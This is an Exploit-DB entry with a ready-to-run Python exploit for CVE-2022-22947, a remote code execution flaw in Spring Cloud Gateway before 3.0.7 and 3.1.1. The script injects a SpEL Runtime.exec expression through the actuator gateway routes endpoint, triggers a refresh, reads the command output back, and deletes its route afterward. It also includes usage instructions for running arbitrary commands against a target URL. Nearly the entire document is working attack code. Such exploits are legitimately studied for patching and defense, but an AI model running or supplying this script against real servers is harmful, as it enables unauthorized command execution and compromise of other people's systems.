Exploit-DB #50799
Description: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: java
Date: 2022-03-07
Author: Carlos E. Vieira

Exploit:
# Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 03/03/2022
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://spring.io/
# Software Link: https://spring.io/projects/spring-cloud-gateway
# Version: This vulnerability affect Spring Cloud Gateway < 3.0.7 & < 3.1.1
# Tested on: 3.1.0
# CVE : CVE-2022-22947

import random
import string
import requests
import json
import sys
import urllib.parse
import base64

headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Accept' : '*/*'}
proxies = {
    'http': 'http://172.29.32.1:8081',
    'https': 'http://172.29.32.1:8081',
}
id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))

def exploit(url, command):
    
    payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"}
    
    commandb64 =base64.b64encode(command.encode('utf-8')).decode('utf-8')

    rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers, data=json.dumps(payload), proxies=proxies, verify=False)
    if(rbase.status_code == 201):
        print("[+] Stage deployed to /actuator/gateway/routes/"+id)
        print("[+] Executing command...")
        r = requests.post(url + '/actuator/gateway/refresh', headers=headers, proxies=proxies, verify=False)
        if(r.status_code == 200):
            print("[+] getting result...")
            r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False)
            if(r.status_code == 200):
                get_response = r.json()
                clean(url, id)
                return get_response['filters'][0].split("'")[1]
            else:
                print("[-] Error: Invalid response")
                clean(url, id)
                exit(1)
        else:
            clean(url, id)
            print("[-] Error executing command")

    
def clean(url, id):
    remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False)
    if(remove.status_code == 200):
        print("[+] Stage removed!")
    else:
        print("[-] Error: Fail to remove stage")

def banner():
    print("""
    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    """)

def main():
    banner()
    if len(sys.argv) != 3:
        print("[-] Error: Invalid arguments")
        print("[-] Usage: python3 exploit.py <url> <command>")
        exit(1)
    else:
        url = sys.argv[1]
        command = sys.argv[2]
        print(exploit(url, command))
if __name__ == '__main__':
    main()